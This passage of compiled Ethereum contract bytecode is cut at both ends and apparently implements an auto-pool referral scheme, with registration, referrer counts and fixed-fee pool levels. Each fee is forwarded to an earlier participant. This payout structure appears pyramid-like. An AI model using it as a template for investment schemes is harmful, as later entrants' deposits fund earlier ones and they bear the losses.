60405180910390f35b3480156105e557600080fd5b50610628600480360360208110156105fc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611951565b6040518084151515158152602001838152602001828152602001935050505060405180910390f35b610658611988565b005b34801561066657600080fd5b5061066f611f3b565b6040518082815260200191505060405180910390f35b34801561069157600080fd5b5061069a611f41565b6040518082815260200191505060405180910390f35b3480156106bc57600080fd5b506106e9600480360360208110156106d357600080fd5b8101908080359060200190929190505050611f47565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561073757600080fd5b50610740611f79565b6040518082815260200191505060405180910390f35b61075e611f7f565b005b34801561076c57600080fd5b506107996004803603602081101561078357600080fd5b8101908080359060200190929190505050612532565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156107e757600080fd5b506107f0612565565b6040518082815260200191505060405180910390f35b34801561081257600080fd5b5061081b61256b565b6040518082815260200191505060405180910390f35b34801561083d57600080fd5b506108806004803603602081101561085457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612571565b6040518084151515158152602001838152602001828152602001935050505060405180910390f35b6108b06125a8565b005b3480156108be57600080fd5b506108c7612b5b565b6040518082815260200191505060405180910390f35b3480156108e957600080fd5b506108f2612b61565b6040518082815260200191505060405180910390f35b34801561091457600080fd5b506109576004803603602081101561092b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612b67565b6040518084151515158152602001838152602001828152602001935050505060405180910390f35b610987612b9e565b005b34801561099557600080fd5b5061099e613151565b6040518082815260200191505060405180910390f35b3480156109c057600080fd5b50610a03600480360360208110156109d757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050613159565b6040518084151515158152602001838152602001828152602001935050505060405180910390f35b348015610a3757600080fd5b50610a6460048036036020811015610a4e57600080fd5b8101908080359060200190929190505050613190565b6040518082815260200191505060405180910390f35b348015610a8657600080fd5b50610a8f6131a8565b6040518082815260200191505060405180910390f35b348015610ab157600080fd5b50610ade60048036036020811015610ac857600080fd5b81019080803590602001909291905050506131ae565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610b2c57600080fd5b50610b356131e1565b6040518082815260200191505060405180910390f35b348015610b5757600080fd5b50610b9a60048036036020811015610b6e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506131e7565b6040518084151515158152602001838152602001828152602001935050505060405180910390f35b348015610bce57600080fd5b50610bfb60048036036020811015610be557600080fd5b810190808035906020019092919050505061321e565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610c4957600080fd5b50610c7660048036036020811015610c6057600080fd5b8101908080359060200190929190505050613251565b604051808515151515815260200184815260200183815260200182815260200194505050505060405180910390f35b348015610cb157600080fd5b50610cf460048036036020811015610cc857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061329b565b6040518084151515158152602001838152602001828152602001935050505060405180910390f35b348015610d2857600080fd5b50610d316132d2565b6040518082815260200191505060405180910390f35b348015610d5357600080fd5b50610d9660048036036020811015610d6a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506132d8565b6040518084151515158152602001838152602001828152602001935050505060405180910390f35b348015610dca57600080fd5b50610dd361330f565b6040518082815260200191505060405180910390f35b610e1560048036036020811015610dff57600080fd5b8101908080359060200190929190505050613315565b005b348015610e2357600080fd5b50610e2c6137e9565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610e7a57600080fd5b50610e8361380e565b6040518082815260200191505060405180910390f35b348015610ea557600080fd5b50610eae613814565b6040518082815260200191505060405180910390f35b348015610ed057600080fd5b50610ed961381a565b6040518082815260200191505060405180910390f35b348015610efb57600080fd5b50610f2860048036036020811015610f1257600080fd5b8101908080359060200190929190505050613820565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610f7657600080fd5b50610fb960048036036020811015610f8d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050613853565b6040518084151515158152602001838152602001828152602001935050505060405180910390f35b348015610fed57600080fd5b50610ff661388a565b6040518082815260200191505060405180910390f35b611014613890565b005b34801561102257600080fd5b506110656004803603602081101561103957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050613e43565b604051808515151515815260200184815260200183815260200182815260200194505050505060405180910390f35b61109c613e80565b005b3480156110aa57600080fd5b506110b3614371565b6040518082815260200191505060405180910390f35b6110d1614377565b005b3480156110df57600080fd5b506110e861492a565b6040518082815260200191505060405180910390f35b34801561110a57600080fd5b506111376004803603602081101561112157600080fd5b8101908080359060200190929190505050614930565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561118557600080fd5b506111b26004803603602081101561119c57600080fd5b8101908080359060200190929190505050614963565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561120057600080fd5b5061122d6004803603602081101561121757600080fd5b8101908080359060200190929190505050614996565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561127b57600080fd5b506112846149c9565b6040518082815260200191505060405180910390f35b6112a26149cf565b005b3480156112b057600080fd5b506112b9614f83565b6040518082815260200191505060405180910390f35b3480156112db57600080fd5b5061131e600480360360208110156112f257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050614f89565b6040518084151515158152602001838152602001828152602001935050505060405180910390f35b61134e614fc0565b005b34801561135c57600080fd5b50611365615573565b6040518082815260200191505060405180910390f35b601760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff1661143d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f55736572204e6f7420526567697374657265640000000000000000000000000081525060200191505060405180910390fd5b601960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff1615611500576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f416c726561647920696e204175746f506f6f6c0000000000000000000000000081525060200191505060405180910390fd5b602f543414611577576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f496e636f72726563742056616c7565000000000000000000000000000000000081525060200191505060405180910390fd5b61157f6157bc565b6000601a6000600c54815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600260008154809291906001019190505550604051806060016040528060011515815260200160025481526020016000815250915081601960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008201518160000160006101000a81548160ff021916908315150217905550602082015181600101556040820151816002015590505033601a6000600254815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008090508173ffffffffffffffffffffffffffffffffffffffff166108fc602f549081150290604051600060405180830381858888f1935050505090508015611819576001601960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201600082825401925050819055506002601960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154106117aa576001600c600082825401925050819055505b8173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8481618b66a5bdb9dafcf5399da7af45bcb127ca77a372a11bcc23dc52ce2033600142604051808381526020018281526020019250505060405180910390a35b3373ffffffffffffffffffffffffffffffffffffffff167fcb07244260cf1d494c557a355f7b7dd3663a109c736b84fdef66b8d839cfa216600142604051808381526020018281526020019250505060405180910390a2505050565b60065481565b60216020528060005260406000206000915090508060000160009054906101000a900460ff16908060010154908060020154905083565b601e6020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601a6020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60286020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600c5481565b60196020528060005260406000206000915090508060000160009054906101000a900460ff16908060010154908060020154905083565b601760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff16611a4a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f55736572204e6f7420526567697374657265640000000000000000000000000081525060200191505060405180910390fd5b601f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff1615611b0d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f416c726561647920696e204175746f506f6f6c0000000000000000000000000081525060200191505060405180910390fd5b6032543414611b84576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f496e636f72726563742056616c7565000000000000000000000000000000000081525060200191505060405180910390fd5b6000601760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301541015611c3d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f4d757374206e656564203020726566657272616c00000000000000000000000081525060200191505060405180910390fd5b611c456157bc565b600060206000600f54815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600560008154809291906001019190505550604051806060016040528060011515815260200160055481526020016000815250915081601f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008201518160000160006101000a81548160ff02191690831515021790555060208201518160010155604082015181600201559050503360206000600554815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008090508173ffffffffffffffffffffffffffffffffffffffff166108fc6032549081150290604051600060405180830381858888f1935050505090508015611edf576001601f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201600082825401925050819055506005601f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002015410611e70576001600f600082825401925050819055505b8173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8481618b66a5bdb9dafcf5399da7af45bcb127ca77a372a11bcc23dc52ce2033600442604051808381526020018281526020019250505060405180910390a35b3373ffffffffffffffffffffffffffffffffffffffff167fcb07244260cf1d494c557a355f7b7dd3663a109c736b84fdef66b8d839cfa216600442604051808381526020018281526020019250505060405180910390a2505050565b60105481565b600a5481565b602080528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600d5481565b601760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff16612041576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f55736572204e6f7420526567697374657265640000000000000000000000000081525060200191505060405180910390fd5b602560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff1615612104576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f416c726561647920696e204175746f506f6f6c0000000000000000000000000081525060200191505060405180910390fd5b603554341461217b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f496e636f72726563742056616c7565000000000000000000000000000000000081525060200191505060405180910390fd5b6000601760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301541015612234576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f4d757374206e656564203020726566657272616c00000000000000000000000081525060200191505060405180910390fd5b61223c6157bc565b600060266000601254815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600860008154809291906001019190505550604051806060016040528060011515815260200160085481526020016000815250915081602560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008201518160000160006101000a81548160ff02191690831515021790555060208201518160010155604082015181600201559050503360266000600854815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008090508173ffffffffffffffffffffffffffffffffffffffff166108fc6035549081150290604051600060405180830381858888f19350505050905080156124d6576001602560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201600082825401925050819055506008602560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154106124675760016012600082825401925050819055505b8173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8481618b66a5bdb9dafcf5399da7af45bcb127ca77a372a11bcc23dc52ce2033600742604051808381526020018281526020019250505060405180910390a35b3373ffffffffffffffffffffffffffffffffffffffff167fcb07244260cf1d494c557a355f7b7dd3663a109c736b84fdef66b8d839cfa216600742604051808381526020018281526020019250505060405180910390a2505050565b602a6020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60025481565b600f5481565b60296020528060005260406000206000915090508060000160009054906101000a900460ff16908060010154908060020154905083565b601760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff1661266a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f55736572204e6f7420526567697374657265640000000000000000000000000081525060200191505060405180910390fd5b601b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff161561272d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f416c726561647920696e204175746f506f6f6c0000000000000000000000000081525060200191505060405180910390fd5b60305434146127a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f496e636f72726563742056616c7565000000000000000000000000000000000081525060200191505060405180910390fd5b6000601760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154101561285d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f4d757374206e656564203020726566657272616c00000000000000000000000081525060200191505060405180910390fd5b6128656157bc565b6000601c6000600d54815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600360008154809291906001019190505550604051806060016040528060011515815260200160035481526020016000815250915081601b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008201518160000160006101000a81548160ff021916908315150217905550602082015181600101556040820151816002015590505033601c6000600354815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008090508173ffffffffffffffffffffffffffffffffffffffff166108fc6030549081150290604051600060405180830381858888f1935050505090508015612aff576001601b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201600082825401925050819055506003601b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002015410612a90576001600d600082825401925050819055505b8173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8481618b66a5bdb9dafcf5399da7af45bcb127ca77a372a11bcc23dc52ce2033600242604051808381526020018281526020019250505060405180910390a35b3373ffffffffffffffffffffffffffffffffffffffff167fcb07244260cf1d494c557a355f7b7dd3663a109c736b84fdef66b8d839cfa216600242604051808381526020018281526020019250505060405180910390a2505050565b60085481565b600b5481565b60236020528060005260406000206000915090508060000160009054906101000a900460ff16908060010154908060020154905083565b601760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff16612c60576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f55736572204e6f7420526567697374657265640000000000000000000000000081525060200191505060405180910390fd5b602760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff1615612d23576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f416c726561647920696e204175746f506f6f6c0000000000000000000000000081525060200191505060405180910390fd5b6036543414612d9a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f496e636f72726563742056616c7565000000000000000000000000000000000081525060200191505060405180910390fd5b6000601760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301541015612e53576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f4d757374206e656564203020726566657272616c00000000000000000000000081525060200191505060405180910390fd5b612e5b6157bc565b600060286000601354815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600960008154809291906001019190505550604051806060016040528060011515815260200160095481526020016000815250915081602760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008201518160000160006101000a81548160ff02191690831515021790555060208201518160010155604082015181600201559050503360286000600954815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008090508173ffffffffffffffffffffffffffffffffffffffff166108fc6036549081150290604051600060405180830381858888f19350505050905080156130f5576001602760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201600082825401925050819055506009602760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154106130865760016013600082825401925050819055505b8173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8481618b66a5bdb9dafcf5399da7af45bcb127ca77a372a11bcc23dc52ce2033600842604051808381526020018281526020019250505060405180910390a35b3373ffffffffffffffffffffffffffffffffffffffff167fcb07244260cf1d494c557a355f7b7dd3663a109c736b84fdef66b8d839cfa216600842604051808381526020018281526020019250505060405180910390a2505050565b600047905090565b601d6020528060005260406000206000915090508060000160009054906101000a900460ff16908060010154908060020154905083565b602d6020528060005260406000206000915090505481565b60165481565b601c6020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60135481565b601f6020528060005260406000206000915090508060000160009054906101000a900460ff16908060010154908060020154905083565b60246020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6039818154811061325e57fe5b90600052602060002090600502016000915090508060000160009054906101000a900460ff16908060010154908060020154908060030154905084565b601b6020528060005260406000206000915090508060000160009054906101000a900460ff16908060010154908060020154905083565b60095481565b60256020528060005260406000206000915090508060000160009054906101000a900460ff16908060010154908060020154905083565b60145481565b601760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff16156133d8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f557365722045786973747300000000000000000000000000000000000000000081525060200191505060405180910390fd5b6000811180156133e85750600281105b61343d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602681526020018061580a6026913960400191505060405180910390fd5b602e5434146134b4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f496e636f72726563742056616c7565000000000000000000000000000000000081525060200191505060405180910390fd5b6134bc6157df565b600160008154809291906001019190505550604051806080016040528060011515815260200160015481526020018381526020016000815250905080601760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008201518160000160006101000a81548160ff0219169083151502179055506020820151816001015560408201518160020155606082015181600301559050503360186000600154815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060016017600060186000601760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154016017600060186000601760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206003018190555061374d600133615579565b6018600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f788c06d2405ae89dd3f0528d38be7691289474d72176408bc2c2406dc5e342f1426040518082815260200191505060405180910390a35050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60125481565b60155481565b60055481565b60186020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60276020528060005260406000206000915090508060000160009054906101000a900460ff16908060010154908060020154905083565b60015481565b601760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff16613952576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f55736572204e6f7420526567697374657265640000000000000000000000000081525060200191505060405180910390fd5b602960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff1615613a15576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f416c726561647920696e204175746f506f6f6c0000000000000000000000000081525060200191505060405180910390fd5b6037543414613a8c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f496e636f72726563742056616c7565000000000000000000000000000000000081525060200191505060405180910390fd5b6000601760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301541015613b45576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f4d757374206e656564203020726566657272616c00000000000000000000000081525060200191505060405180910390fd5b613b4d6157bc565b6000602a6000601454815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600a600081548092919060010191905055506040518060600160405280600115158152602001600a5481526020016000815250915081602960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008201518160000160006101000a81548160ff021916908315150217905550602082015181600101556040820151816002015590505033602a6000600a54815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008090508173ffffffffffffffffffffffffffffffffffffffff166108fc6037549081150290604051600060405180830381858888f1935050505090508015613de7576001602960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020160008282540192505081905550600a602960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002015410613d785760016014600082825401925050819055505b8173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8481618b66a5bdb9dafcf5399da7af45bcb127ca77a372a11bcc23dc52ce2033600942604051808381526020018281526020019250505060405180910390a35b3373ffffffffffffffffffffffffffffffffffffffff167fcb07244260cf1d494c557a355f7b7dd3663a109c736b84fdef66b8d839cfa216600942604051808381526020018281526020019250505060405180910390a2505050565b60176020528060005260406000206000915090508060000160009054906101000a900460ff16908060010154908060020154908060030154905084565b602360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff1615613f43576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f416c726561647920696e204175746f506f6f6c0000000000000000000000000081525060200191505060405180910390fd5b6034543414613fba576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f496e636f72726563742056616c7565000000000000000000000000000000000081525060200191505060405180910390fd5b6000601760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301541015614073576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f4d757374206e656564203020726566657272616c00000000000000000000000081525060200191505060405180910390fd5b61407b6157bc565b600060246000601154815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600760008154809291906001019190505550604051806060016040528060011515815260200160075481526020016000815250915081602360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008201518160000160006101000a81548160ff02191690831515021790555060208201518160010155604082015181600201559050503360246000600754815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008090508173ffffffffffffffffffffffffffffffffffffffff166108fc6034549081150290604051600060405180830381858888f1935050505090508015614315576001602360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201600082825401925050819055506007602360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154106142a65760016011600082825401925050819055505b8173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8481618b66a5bdb9dafcf5399da7af45bcb127ca77a372a11bcc23dc52ce2033600642604051808381526020018281526020019250505060405180910390a35b3373ffffffffffffffffffffffffffffffffffffffff167fcb07244260cf1d494c557a355f7b7dd3663a109c736b84fdef66b8d839cfa216600642604051808381526020018281526020019250505060405180910390a2505050565b60035481565b601760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff16614439576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f55736572204e6f7420526567697374657265640000000000000000000000000081525060200191505060405180910390fd5b601d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff16156144fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f416c726561647920696e204175746f506f6f6c0000000000000000000000000081525060200191505060405180910390fd5b6031543414614573576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f496e636f72726563742056616c7565000000000000000000000000000000000081525060200191505060405180910390fd5b6000601760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154101561462c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f4d757374206e656564203020726566657272616c00000000000000000000000081525060200191505060405180910390fd5b6146346157bc565b6000601e6000600e54815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600460008154809291906001019190505550604051806060016040528060011515815260200160045481526020016000815250915081601d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008201518160000160006101000a81548160ff021916908315150217905550602082015181600101556040820151816002015590505033601e6000600454815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008090508173ffffffffffffffffffffffffffffffffffffffff166108fc6031549081150290604051600060405180830381858888f19350505050905080156148ce576001601d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201600082825401925050819055506004601d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201541061485f576001600e600082825401925050819055505b8173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8481618b66a5bdb9dafcf5399da7af45bcb127ca77a372a11bcc23dc52ce2033600342604051808381526020018281526020019250505060405180910390a35b3373ffffffffffffffffffffffffffffffffffffffff167fcb07244260cf1d494c557a355f7b7dd3663a109c736b84fdef66b8d839cfa216600342604051808381526020018281526020019250505060405180910390a2505050565b60045481565b60226020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60266020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b602c6020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600e5481565b601760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff16614a91576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f55736572204e6f7420526567697374657265640000000000000000000000000081525060200191505060405180910390fd5b602b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffff